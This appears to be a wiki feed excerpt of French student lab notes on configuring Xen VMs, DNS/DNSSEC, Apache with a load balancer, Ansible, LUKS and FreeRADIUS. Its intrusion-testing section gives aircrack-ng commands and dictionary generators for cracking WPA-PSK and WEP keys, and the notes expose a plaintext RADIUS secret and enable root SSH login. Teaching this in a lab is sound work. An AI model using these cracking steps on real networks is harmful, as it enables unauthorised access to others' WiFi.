  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|900px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
https://www.chlamydiae.site/balancer-manager&lt;br /&gt;
&lt;br /&gt;
On obtient:&lt;br /&gt;
[[Fichier:chlamydiae_balancer_result.png|700px|center]]&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
====&amp;lt;s&amp;gt;Sécurisation de données&amp;lt;/s&amp;gt;====&lt;br /&gt;
====Cryptage de données====&lt;br /&gt;
Pour afficher la liste des périphériques connectés au PC:&lt;br /&gt;
  fdisk -l&lt;br /&gt;
&lt;br /&gt;
On la crypte et on crée la partition:&lt;br /&gt;
  cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On formate notre volume en ext4&lt;br /&gt;
  mkfs -t ext4 /dev/mapper/virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
On le monte ensuite sur /mnt&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/&lt;br /&gt;
&lt;br /&gt;
On y crée un fichier /mnt/test_file puis on démonte /mnt:&lt;br /&gt;
  umount /mnt&lt;br /&gt;
&lt;br /&gt;
Puis on ferme la communication sur le volume crypté:&lt;br /&gt;
  cryptsetup luksClose virtual_vol_crypted&lt;br /&gt;
&lt;br /&gt;
A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:&lt;br /&gt;
  cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis &lt;br /&gt;
  -&amp;gt; demande du mot de passe&lt;br /&gt;
  mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/&lt;br /&gt;
&lt;br /&gt;
Et on retrouve notre fichier test_file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si on essaye simplement de monter une clé usb cryptée:&lt;br /&gt;
  mount /dev/sdb1 mnt/tmp&lt;br /&gt;
  mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
FreeRADIUS est un logiciel libre et gratuit, version libre du protocole RADIUS (Remote Authentication Dial-In User Service) service d'authentification réseau interfaçable avec plusieurs sources d'identité (LDAP/SQL entre autres).&lt;br /&gt;
&lt;br /&gt;
C'est un service utilisé notamment par les FAI pour identifier leurs clients. Dans notre cas il va nous être utile pour identifier les utilisateurs sur le réseau quand ils veulent accéder a Internet au travers d'un proxy ou se connecter au réseau WiFi. &lt;br /&gt;
La configuration du serveur FreeRADIUS consiste à :&lt;br /&gt;
&lt;br /&gt;
* Déclarer ses clients (adresses IP), les routeurs ou switchs, et d’y renseigner le mot de passe partagé ;&lt;br /&gt;
* Puis d’enregistrer les utilisateurs avec leur mot de passe.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut installer freeradius: &lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Dans un deuxième temps on ajoute ces clients dans /etc/freeradius/3.0/clients.conf : &lt;br /&gt;
*  on ajoute : &lt;br /&gt;
  &lt;br /&gt;
  client 10.60.200.2/24 {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneChlamydiae&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client PA {&lt;br /&gt;
   ipaddr = 10.60.201.5&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
* Enregistrer les utilisateurs&lt;br /&gt;
&lt;br /&gt;
Il faut ajouter une ligne qui indique l'identifiant et le mot de passe. On a choisi les mêmes id que la VM : root et mot de passe habituel.&lt;br /&gt;
 Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
  Chlamydiae Cleartext-Password := &amp;quot;&amp;lt;password&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enregistrer les modifications et relancer :&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin cette comande permet d'afficher les logs:&lt;br /&gt;
  tail -f /var/log/freeradius/radius.log&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Sécurisation WiFi par WPA2-EAP====&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=52195</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=52195"/>
				<updated>2020-01-30T13:47:18Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Serveur Freeradius */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Introduction==&lt;br /&gt;
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.chlamydiae.site.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
